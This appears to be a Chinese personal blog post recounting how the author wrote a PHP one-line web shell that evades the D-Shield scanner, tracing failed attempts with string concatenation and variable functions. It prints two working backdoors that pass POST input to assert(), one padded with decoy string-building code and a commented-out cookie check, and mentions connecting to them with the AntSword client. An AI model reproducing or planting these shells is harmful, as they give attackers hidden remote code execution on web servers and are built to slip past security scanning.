记一次尝试编写过d盾一句话的收获

August 12, 2019 · 默认分类 · 学习笔记 · 373次阅读

0x00废话

在圈子社区看到几个前辈编写过d盾一句话的话题,本人看着手痒痒,想用浅薄的一点PHP知识去尝试一下,昨晚写到半夜三点,今早终于弄出来了,望各位师傅莫要笑话.

0x01 最开始的思路

最开始的思路就是简单的拼接字符串,然后用eval执行,但是这里遇到了两个麻烦的地方:

第一个点是eval不能执行动态拼接的字符串,会报些莫名其妙的错误(这个是我后面才明白的)

第二个点是不管再怎么复杂的拼接字符串,d盾还是给你报个等级2.(我太憨憨了)

所以最开始差不多是这种,eval执行一直报这个错误,给我整的好蒙(说白了还是我菜5555),字符串的拼接借鉴了之前那个wp的马的拼接思路(因为他那玩意d盾扫不出来).

(RXQ

0x02 变量函数

这玩意也太艹了,开始想的是d盾要报eval这个函数,那我把它拼接一下得了,然后d盾就疯狂给我报等级三变量函数,然后这里也遇到了刚刚同样的问题,就是eval那个莫名其妙的问题,当时卡这好久差不多这个eval就是让我三点没睡着的原因了呜呜呜.这一部分没找到图就不发了,大概思路就是定义一个函数最后return $a($b).

0x03 大功告成

在网上搜了很多过d盾的文章,看了一些什么魔术方法_set,什么反序列化,最后学习到了一种简单粗暴的方法.

<?php
assert(' '.hot() );
function hot(){
    
    return $_POST['a'];
}
?>

QQ截图20190812112726.png

这里d盾会报一个等级1,不过没什么大问题,我把刚刚那串瞎几把拼接字符串的代码复制过来就vans了

QQ图片20190812113034.png

<?php

/*foreach ($_COOKIE as $item)
{
    if ($item != "to1y5")
        exit();
}*/
//可以加个cookie验证,蚁剑链接的时候配置一下,菊花更安全(上篇文章中学习到的)
assert(' '.hot() );
function hot(){
    $a = 'to1y5';
    $to2y5 = array(
    't' => '$_' ,
    'o' => 'GE' ,
    '1' => 'T[' ,
    'y' => '\'a\'' ,
    '5' => ']' , );
    $ppp = '';
    for($i=0; $i <5; $i++) { 
    $ppp = $ppp.$to2y5[$a[$i]];}
    return $_POST['a'];
}?>

总结

关于eval,请教了几个前辈,说eval没有assert那么灵活,eval可能不能涉及到动态拼接,但是昨晚上我不知道在哪看到句"assert函数在PHP7版本中被废弃"然后就一直tmd在那eval.不过最后这个方法可以用eval.然后那个assert函数也没有废弃.

QQ图片20190812114251.jpg

当然收获远远不止这些,在编写过程中还学会了一些常见报错的解决方法,本菜鸡今天又进步了1%.

none

最后编辑于2年前